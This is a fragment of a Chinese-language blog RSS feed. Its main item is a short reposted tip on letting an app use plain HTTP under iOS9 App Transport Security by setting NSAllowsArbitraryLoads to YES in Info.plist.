target=&quot;_blank&quot;&gt;http://www.yiibai.com/jsp/&lt;/a&gt;&lt;/p&gt;</description><pubDate>Sun, 20 Sep 2015 13:32:20 +0800</pubDate></item><item><title>iOS9 HTTP 不能正常使用的解决办法</title><link>http://www.rf.sh.cn:80/post/3069.html</link><description>&lt;p&gt;&lt;a href=&quot;http://segmentfault.com/a/1190000002933776&quot; _src=&quot;http://segmentfault.com/a/1190000002933776&quot;&gt;http://segmentfault.com/a/1190000002933776&lt;/a&gt; &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 18px; margin-bottom: 18px; color: rgb(51, 51, 51); font-family: &amp;#39;Open Sans&amp;#39;, &amp;#39;Helvetica Neue&amp;#39;, Helvetica, Arial, STHeiti, &amp;#39;Microsoft Yahei&amp;#39;, sans-serif; line-height: 22.3999996185303px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;iOS9引入了新特性&lt;code style=&quot;box-sizing: border-box; font-family: Consolas, Menlo, Monaco, &amp;#39;Courier New&amp;#39;, monospace; font-size: 0.92857em; padding: 2px 4px; color: rgb(199, 37, 78); border-radius: 3px; background-color: rgb(246, 246, 246);&quot;&gt;App Transport Security (ATS)&lt;/code&gt;。详情：&lt;a href=&quot;https://developer.apple.com/library/prerelease/ios/releasenotes/General/WhatsNewIniOS/Articles/iOS9.html#//apple_ref/doc/uid/TP40016198-DontLinkElementID_13&quot; target=&quot;_blank&quot; style=&quot;box-sizing: border-box; color: rgb(0, 142, 89); text-decoration: none; outline: 0px; background: transparent;&quot;&gt;App Transport Security (ATS)&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 18px; margin-bottom: 18px; color: rgb(51, 51, 51); font-family: &amp;#39;Open Sans&amp;#39;, &amp;#39;Helvetica Neue&amp;#39;, Helvetica, Arial, STHeiti, &amp;#39;Microsoft Yahei&amp;#39;, sans-serif; line-height: 22.3999996185303px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;新特性要求App内访问的网络必须使用&lt;code style=&quot;box-sizing: border-box; font-family: Consolas, Menlo, Monaco, &amp;#39;Courier New&amp;#39;, monospace; font-size: 0.92857em; padding: 2px 4px; color: rgb(199, 37, 78); border-radius: 3px; background-color: rgb(246, 246, 246);&quot;&gt;HTTPS&lt;/code&gt;协议。&lt;br style=&quot;box-sizing: border-box;&quot;/&gt;但是现在公司的项目使用的是&lt;code style=&quot;box-sizing: border-box; font-family: Consolas, Menlo, Monaco, &amp;#39;Courier New&amp;#39;, monospace; font-size: 0.92857em; padding: 2px 4px; color: rgb(199, 37, 78); border-radius: 3px; background-color: rgb(246, 246, 246);&quot;&gt;HTTP&lt;/code&gt;协议，使用私有加密方式保证数据安全。现在也不能马上改成&lt;code style=&quot;box-sizing: border-box; font-family: Consolas, Menlo, Monaco, &amp;#39;Courier New&amp;#39;, monospace; font-size: 0.92857em; padding: 2px 4px; color: rgb(199, 37, 78); border-radius: 3px; background-color: rgb(246, 246, 246);&quot;&gt;HTTPS&lt;/code&gt;协议传输。&lt;/p&gt;&lt;h1 id=&quot;articleHeader0&quot; style=&quot;box-sizing: border-box; font-size: 1.57143em; margin: 28px 0px 18px; font-family: &amp;#39;Open Sans&amp;#39;, &amp;#39;Helvetica Neue&amp;#39;, Helvetica, Arial, STHeiti, &amp;#39;Microsoft Yahei&amp;#39;, sans-serif; line-height: 1.2; color: rgb(51, 51, 51); padding-bottom: 8px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;最终找到以下解决办法：&lt;/h1&gt;&lt;ol style=&quot;box-sizing: border-box; margin-top: 18px; margin-bottom: 18px; padding-left: 30px; color: rgb(51, 51, 51); font-family: &amp;#39;Open Sans&amp;#39;, &amp;#39;Helvetica Neue&amp;#39;, Helvetica, Arial, STHeiti, &amp;#39;Microsoft Yahei&amp;#39;, sans-serif; line-height: 22.3999996185303px; white-space: normal; background-color: rgb(255, 255, 255);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 0px;&quot;&gt;在Info.plist中添加&lt;code style=&quot;box-sizing: border-box; font-family: Consolas, Menlo, Monaco, &amp;#39;Courier New&amp;#39;, monospace; font-size: 0.92857em; padding: 2px 4px; color: rgb(199, 37, 78); border-radius: 3px; background-color: rgb(246, 246, 246);&quot;&gt;NSAppTransportSecurity&lt;/code&gt;类型&lt;code style=&quot;box-sizing: border-box; font-family: Consolas, Menlo, Monaco, &amp;#39;Courier New&amp;#39;, monospace; font-size: 0.92857em; padding: 2px 4px; color: rgb(199, 37, 78); border-radius: 3px; background-color: rgb(246, 246, 246);&quot;&gt;Dictionary&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 0px;&quot;&gt;在&lt;code style=&quot;box-sizing: border-box; font-family: Consolas, Menlo, Monaco, &amp;#39;Courier New&amp;#39;, monospace; font-size: 0.92857em; padding: 2px 4px; color: rgb(199, 37, 78); border-radius: 3px; background-color: rgb(246, 246, 246);&quot;&gt;NSAppTransportSecurity&lt;/code&gt;下添加&lt;code style=&quot;box-sizing: border-box; font-family: Consolas, Menlo, Monaco, &amp;#39;Courier New&amp;#39;, monospace; font-size: 0.92857em; padding: 2px 4px; color: rgb(199, 37, 78); border-radius: 3px; background-color: rgb(246, 246, 246);&quot;&gt;NSAllowsArbitraryLoads&lt;/code&gt;类型&lt;code style=&quot;box-sizing: border-box; font-family: Consolas, Menlo, Monaco, &amp;#39;Courier New&amp;#39;, monospace; font-size: 0.92857em; padding: 2px 4px; color: rgb(199, 37, 78); border-radius: 3px; background-color: rgb(246, 246, 246);&quot;&gt;Boolean&lt;/code&gt;,值设为&lt;code style=&quot;box-sizing: border-box; font-family: Consolas, Menlo, Monaco, &amp;#39;Courier New&amp;#39;, monospace; font-size: 0.92857em; padding: 2px 4px; color: rgb(199, 37, 78); border-radius: 3px; background-color: rgb(246, 246, 246);&quot;&gt;YES&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Fri, 18 Sep 2015 17:17:54 +0800</pubDate></item></channel></rss>